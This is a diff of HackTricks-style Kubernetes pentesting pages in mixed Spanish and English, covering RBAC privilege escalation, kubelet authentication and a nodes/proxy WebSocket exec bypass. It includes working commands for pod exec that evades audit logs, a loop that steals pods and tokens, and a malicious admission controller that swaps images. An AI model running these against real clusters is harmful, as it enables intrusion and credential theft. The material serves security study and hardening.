Hay **2 formas de asignar permisos de K8s a los principales de GCP**. En cualquier caso, el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al clúster, o necesitarás **generar tu propio archivo de configuración de kubectl** (sigue el siguiente enlace).
|
||||
Hay **2 formas de asignar K8s permissions a GCP principals**. En cualquier caso el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al cluster, o necesitarás **generar tu propio kubectl config file** (sigue el siguiente enlace).
|
||||
|
||||
> [!WARNING]
|
||||
> Al hablar con el punto final de la API de K8s, se **enviará el token de autenticación de GCP**. Luego, GCP, a través del punto final de la API de K8s, primero **verificará si el principal** (por correo electrónico) **tiene algún acceso dentro del clúster**, luego verificará si tiene **algún acceso a través de GCP IAM**.\
|
||||
> Si **cualquiera** de esos es **verdadero**, se le **responderá**. Si **no**, se dará un **error** sugiriendo otorgar **permisos a través de GCP IAM**.
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
|
||||
Entonces, el primer método es usar **GCP IAM**, los permisos de K8s tienen sus **permisos equivalentes de GCP IAM**, y si el principal los tiene, podrá usarlos.
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
El segundo método es **asignar permisos de K8s dentro del clúster** identificando al usuario por su **correo electrónico** (incluidas las cuentas de servicio de GCP).
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
|
||||
### Crear token de serviceaccounts
|
||||
### Create serviceaccounts token
|
||||
|
||||
Principales que pueden **crear TokenRequests** (`serviceaccounts/token`) al hablar con el punto final de la API de K8s SAs (info de [**aquí**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** pueden obtener **ejecución de código en otros pods**, y potencialmente **salir** a su nodo añadiendo un contenedor efímero con un securityContext privilegiado.
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
|
||||
### ValidatingWebhookConfigurations o MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear una de esas webhookconfigurations** para poder **escalar privilegios**.
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
|
||||
Para un [ejemplo de `mutatingwebhookconfigurations`, consulta esta sección de esta publicación](#malicious-admission-controller).
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Escalar
|
||||
|
||||
Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate` o `*`** sobre **`roles`** o **`clusterroles`** y las respectivas opciones de vinculación.\
|
||||
Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
|
||||
### Proxy de nodos
|
||||
### Nodes proxy
|
||||
|
||||
Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página:
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubelet aquí**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
|
||||
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
|
||||
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
|
||||
|
||||
**Explotación directa (requiere alcanzabilidad de red al kubelet y un token con `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Usa el **IP del nodo**, no el nombre del nodo. La misma petición con `curl -X POST` será **Forbidden** porque se mapea a `create`.
|
||||
- El acceso directo al kubelet evita al servidor API, por lo que AuditPolicy solo muestra `subjectaccessreviews` desde el kubelet user agent y **no registra `pods/exec`**.
|
||||
- Enumera las cuentas de servicio afectadas con el [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET.
|
||||
|
||||
### Eliminar pods + nodos no programables
|
||||
|
||||
Principales que pueden **eliminar pods** (verbo `delete` sobre el recurso `pods`), o **desalojar pods** (verbo `create` sobre el recurso `pods/eviction`), o **cambiar el estado del pod** (acceso a `pods/status`) y pueden **hacer que otros nodos no sean programables** (acceso a `nodes/status`) o **eliminar nodos** (verbo `delete` sobre el recurso `nodes`) y tienen control sobre un pod, podrían **robar pods de otros nodos** para que sean **ejecutados** en el **nodo comprometido** y el atacante pueda **robar los tokens** de esos pods.
|
||||
Identidades que pueden **delete pods** (`delete` verb over `pods` resource), o **evict pods** (`create` verb over `pods/eviction` resource), o **change pod status** (access to `pods/status`) y pueden **make other nodes unschedulable** (access to `nodes/status`) o **delete nodes** (`delete` verb over `nodes` resource) y tienen control sobre un pod, podrían **steal pods from other nodes** de modo que sean **executed** en el **compromised** **node** y el atacante pueda **steal the tokens** de esos pods.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -641,43 +660,43 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Estado de los servicios (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Los principales que pueden **modificar** **`services/status`** pueden establecer el campo `status.loadBalancer.ingress.ip` para explotar el **CVE-2020-8554 sin corregir** y lanzar **ataques MiTM contra el clúster**. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen servicios ExternalIP (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Principals que pueden **modify** **`services/status`** pueden establecer el campo `status.loadBalancer.ingress.ip` para explotar el **unfixed CVE-2020-8554** y lanzar **MiTM ataques contra el clus**ter. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen ExternalIP services (según [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Estado de los nodos y pods
|
||||
### Nodes and Pods status
|
||||
|
||||
Los principales con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar etiquetas para afectar las restricciones de programación impuestas.
|
||||
Principals con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar labels para afectar las restricciones de scheduling aplicadas.
|
||||
|
||||
## Prevención de escalada de privilegios incorporada
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes tiene un [mecanismo incorporado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalada de privilegios.
|
||||
Kubernetes tiene un [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalada de privilegios.
|
||||
|
||||
Este sistema asegura que **los usuarios no pueden elevar sus privilegios modificando roles o vinculaciones de roles**. La aplicación de esta regla ocurre a nivel de API, proporcionando una salvaguarda incluso cuando el autorizador RBAC está inactivo.
|
||||
Este sistema asegura que **los usuarios no pueden elevar sus privilegios modificando roles o role bindings**. La aplicación de esta regla ocurre a nivel del API, proporcionando una salvaguarda incluso cuando el authorizer RBAC está inactivo.
|
||||
|
||||
La regla estipula que un **usuario solo puede crear o actualizar un rol si posee todos los permisos que comprende el rol**. Además, el alcance de los permisos existentes del usuario debe alinearse con el del rol que intenta crear o modificar: ya sea a nivel de clúster para ClusterRoles o confinado al mismo espacio de nombres (o a nivel de clúster) para Roles.
|
||||
La regla estipula que un **usuario solo puede crear o actualizar un role si posee todos los permisos que el role comprende**. Además, el alcance de los permisos existentes del usuario debe alinearse con el del role que intenta crear o modificar: ya sea a nivel de cluster para ClusterRoles o confinado al mismo namespace (o a nivel de cluster) para Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Hay una excepción a la regla anterior. Si un principal tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**, puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo.
|
||||
> Existe una excepción a la regla anterior. Si un principal tiene el **verb `escalate`** sobre **`roles`** o **`clusterroles`** puede aumentar los privilegios de roles y clusterroles incluso sin poseer esos permisos él mismo.
|
||||
|
||||
### **Obtener y parchear RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.**
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
|
||||
El privilegio de crear Rolebindings permite a un usuario **vincular roles a una cuenta de servicio**. Este privilegio puede llevar potencialmente a la escalada de privilegios porque **permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.**
|
||||
El privilegio para crear Rolebindings permite a un usuario **bind roles to a service account**. Este privilegio puede potencialmente llevar a una escalada de privilegios porque **permite al usuario bind admin privileges a una service account comprometida.**
|
||||
|
||||
## Otros ataques
|
||||
## Other Attacks
|
||||
|
||||
### Aplicación de proxy sidecar
|
||||
### Sidecar proxy app
|
||||
|
||||
Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod.
|
||||
Por defecto no existe cifrado en la comunicación entre pods. Autenticación mutua, two-way, pod to pod.
|
||||
|
||||
#### Crear una aplicación de proxy sidecar
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Un contenedor sidecar consiste simplemente en agregar un **segundo (o más) contenedor dentro de un pod**.
|
||||
Un sidecar container consiste simplemente en añadir un **second (or more) container inside a pod**.
|
||||
|
||||
Por ejemplo, lo siguiente es parte de la configuración de un pod con 2 contenedores:
|
||||
For example, the following is part of the configuration of a pod with 2 containers:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -687,15 +706,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Por ejemplo, para crear un backdoor en un pod existente con un nuevo contenedor, podrías simplemente agregar un nuevo contenedor en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo contenedor que el primero no tendrá.
|
||||
Por ejemplo, para backdoor un pod existente con un nuevo container podrías simplemente añadir un nuevo container en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo container que el primero no tendrá.
|
||||
|
||||
Más información en: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Controlador de Admisión Malicioso
|
||||
### Controlador de admisión malicioso
|
||||
|
||||
Un controlador de admisión **intercepta solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**.
|
||||
Un controlador de admisión **intercepta las solicitudes al Kubernetes API server** antes de la persistencia del objeto, pero **después de que la solicitud esté autenticada** **y autorizada**.
|
||||
|
||||
Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster.
|
||||
Si un atacante de alguna manera logra **inyectar un Mutation Admission Controller**, podrá **modificar solicitudes ya autenticadas**. Esto le permitiría potencialmente privesc, y más comúnmente persistir en el cluster.
|
||||
|
||||
**Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -704,30 +723,30 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Verifica el estado para ver si está listo:
|
||||
Comprueba el estado para ver si está listo:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
Luego despliega un nuevo pod:
|
||||
A continuación, despliega un nuevo pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Cuando puedes ver el error `ErrImagePull`, verifica el nombre de la imagen con cualquiera de las consultas:
|
||||
Cuando veas un error `ErrImagePull`, verifica el nombre de la imagen con cualquiera de las consultas:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
|
||||
Como puede verse en la imagen anterior, intentamos ejecutar la imagen `nginx` pero la imagen finalmente ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de suceder?
|
||||
|
||||
#### Technicalities
|
||||
#### Detalles técnicos
|
||||
|
||||
El script `./deploy.sh` establece un controlador de admisión de webhook mutante, que modifica las solicitudes a la API de Kubernetes según lo especificado en sus líneas de configuración, influyendo en los resultados observados:
|
||||
El script `./deploy.sh` establece un controlador de admisión mutating webhook, que modifica las solicitudes a la API de Kubernetes según se especifica en sus líneas de configuración, influyendo en los resultados observados:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -735,7 +754,7 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con `rewanthtammana/malicious-image`.
|
||||
El fragmento anterior reemplaza la primera imagen de contenedor en cada pod con `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
@@ -743,22 +762,22 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Mejores Prácticas
|
||||
## Mejores prácticas
|
||||
|
||||
### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio**
|
||||
### **Deshabilitar el montaje automático de tokens de cuentas de servicio**
|
||||
|
||||
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
|
||||
- **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
|
||||
- **Pods y cuentas de servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para aumentar la seguridad, Kubernetes permite deshabilitar esta funcionalidad de automount.
|
||||
- **Cómo aplicarlo**: Configure `automountServiceAccountToken: false` en la configuración de las cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
|
||||
|
||||
### **Asignación de Usuarios Restrictiva en RoleBindings/ClusterRoleBindings**
|
||||
### **Asignación restrictiva de usuarios en RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Inclusión Selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.
|
||||
- **Inclusión selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite periódicamente y elimine usuarios irrelevantes para mantener una seguridad estricta.
|
||||
|
||||
### **Roles Específicos de Namespace Sobre Roles de Clúster**
|
||||
### **Roles por namespace en lugar de Roles a nivel de clúster**
|
||||
|
||||
- **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a nivel de clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.
|
||||
- **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que aplican a todo el clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.
|
||||
|
||||
### **Utilizar herramientas automatizadas**
|
||||
### **Usar herramientas automatizadas**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
@@ -779,5 +798,8 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+41
-37
@@ -1,24 +1,24 @@
|
||||
# Autenticación y Autorización de Kubelet
|
||||
# Autenticación y Autorización del Kubelet
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Autenticación de Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Autenticación del Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**De la documentación:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Por defecto, las solicitudes al endpoint HTTPS del kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas, y se les asigna un **nombre de usuario de `system:anonymous`** y un **grupo de `system:unauthenticated`**.
|
||||
Por defecto, las solicitudes al endpoint HTTPS del kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas, y se les asigna un **nombre de usuario `system:anonymous`** y un **grupo `system:unauthenticated`**.
|
||||
|
||||
Los **3** **métodos** de autenticación son:
|
||||
|
||||
- **Anónimo** (por defecto): Usar configurando el parámetro **`--anonymous-auth=true` o la configuración:**
|
||||
- **Anonymous** (por defecto): Usar estableciendo el parámetro **`--anonymous-auth=true` o en la configuración:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Esto **habilitará** los **tokens portadores de API** de kubectl como autorización (cualquier token válido será válido). Permítalo con:
|
||||
- asegúrese de que el grupo de API `authentication.k8s.io/v1beta1` esté habilitado en el servidor API
|
||||
- **Webhook**: Esto **habilitará** los kubectl **API bearer tokens** como autorización (cualquier token válido será válido). Permítalo con:
|
||||
- asegúrese de que el grupo de API `authentication.k8s.io/v1beta1` esté habilitado en el API server
|
||||
- inicie el kubelet con las banderas **`--authentication-token-webhook`** y **`--kubeconfig`** o use la siguiente configuración:
|
||||
```json
|
||||
"authentication": {
|
||||
@@ -28,11 +28,11 @@ Los **3** **métodos** de autenticación son:
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> El kubelet llama a la **`TokenReview` API** en el servidor API configurado para **determinar la información del usuario** a partir de tokens portadores.
|
||||
> El kubelet llama a la **`TokenReview` API** en el API server configurado para **determinar la información del usuario** a partir de bearer tokens
|
||||
|
||||
- **Certificados de cliente X509:** Permiten autenticar a través de certificados de cliente X509.
|
||||
- consulta la [documentación de autenticación del apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para más detalles.
|
||||
- inicia el kubelet con la bandera `--client-ca-file`, proporcionando un paquete CA para verificar los certificados de cliente. O con la configuración:
|
||||
- **X509 client certificates:** Permiten autenticarse mediante X509 client certs
|
||||
- Consulta la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para más detalles
|
||||
- Inicia el kubelet con la bandera `--client-ca-file`, proporcionando un CA bundle para verificar los certificados de cliente. O con la config:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@ Los **3** **métodos** de autenticación son:
|
||||
}
|
||||
}
|
||||
```
|
||||
## Autorización de Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Autorización del Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Cualquier solicitud que sea autenticada con éxito (incluida una solicitud anónima) **es luego autorizada**. El modo de autorización **predeterminado** es **`AlwaysAllow`**, que **permite todas las solicitudes**.
|
||||
Cualquier solicitud que se autentique con éxito (incluida una solicitud anónima) **es entonces autorizada**. El modo de autorización **por defecto** es **`AlwaysAllow`**, que **permite todas las solicitudes**.
|
||||
|
||||
Sin embargo, el otro valor posible es **`webhook`** (que es lo que **principalmente encontrarás allí**). Este modo **verificará los permisos del usuario autenticado** para permitir o denegar una acción.
|
||||
Sin embargo, el otro valor posible es **`webhook`** (que es lo que encontrarás más comúnmente). Este modo **comprobará los permisos del usuario autenticado** para permitir o denegar una acción.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que incluso si la **autenticación anónima está habilitada**, el **acceso anónimo** podría **no tener ningún permiso** para realizar ninguna acción.
|
||||
> Ten en cuenta que incluso si la **autenticación anónima está habilitada** el **acceso anónimo** podría **no tener permisos** para realizar ninguna acción.
|
||||
|
||||
La autorización a través de webhook se puede configurar utilizando el **parámetro `--authorization-mode=Webhook`** o a través del archivo de configuración con:
|
||||
La autorización vía webhook puede configurarse usando el **parámetro `--authorization-mode=Webhook`** o mediante el archivo de configuración con:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@ La autorización a través de webhook se puede configurar utilizando el **parám
|
||||
}
|
||||
},
|
||||
```
|
||||
El kubelet llama a la **`SubjectAccessReview`** API en el servidor API configurado para **determinar** si cada solicitud está **autorizada.**
|
||||
El kubelet llama a la API **`SubjectAccessReview`** en el servidor API configurado para **determinar** si cada solicitud está **autorizada.**
|
||||
|
||||
El kubelet autoriza las solicitudes API utilizando el mismo enfoque de [atributos de solicitud](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que el apiserver:
|
||||
El kubelet autoriza las solicitudes a la API usando el mismo [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach que el apiserver:
|
||||
|
||||
- **Acción**
|
||||
|
||||
| Verbo HTTP | verbo de solicitud |
|
||||
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| POST | crear |
|
||||
| GET, HEAD | obtener (para recursos individuales), listar (para colecciones, incluyendo contenido completo del objeto), observar (para observar un recurso individual o colección de recursos) |
|
||||
| PUT | actualizar |
|
||||
| PATCH | parchear |
|
||||
| DELETE | eliminar (para recursos individuales), eliminarcolección (para colecciones) |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- El **recurso** que se comunica con la API de Kubelet es **siempre** **nodos** y el **subrecurso** se **determina** a partir de la ruta de la solicitud entrante:
|
||||
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
|
||||
|
||||
| API de Kubelet | recurso | subrecurso |
|
||||
| --------------- | ------- | ---------- |
|
||||
| /stats/\* | nodos | stats |
|
||||
| /metrics/\* | nodos | metrics |
|
||||
| /logs/\* | nodos | log |
|
||||
| /spec/\* | nodos | spec |
|
||||
| _todos los demás_ | nodos | proxy |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Por ejemplo, la siguiente solicitud intentó acceder a la información de los pods de kubelet sin permiso:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
|
||||
For example, the following request tried to access the pods info of kubelet without permission:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Recibimos un **Forbidden**, por lo que la solicitud **pasó la verificación de autenticación**. Si no, solo habríamos recibido un mensaje de `Unauthorised`.
|
||||
- Podemos ver el **nombre de usuario** (en este caso del token)
|
||||
- Verifique cómo el **recurso** era **nodes** y el **subrecurso** **proxy** (lo cual tiene sentido con la información anterior)
|
||||
- Recibimos un **Forbidden**, por lo que la solicitud **superó la verificación de autenticación**. Si no, solo habríamos recibido un mensaje `Unauthorised`.
|
||||
- Podemos ver el **username** (en este caso desde el token)
|
||||
- Fíjate cómo el **resource** era **nodes** y el **subresource** **proxy** (lo cual concuerda con la información anterior)
|
||||
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user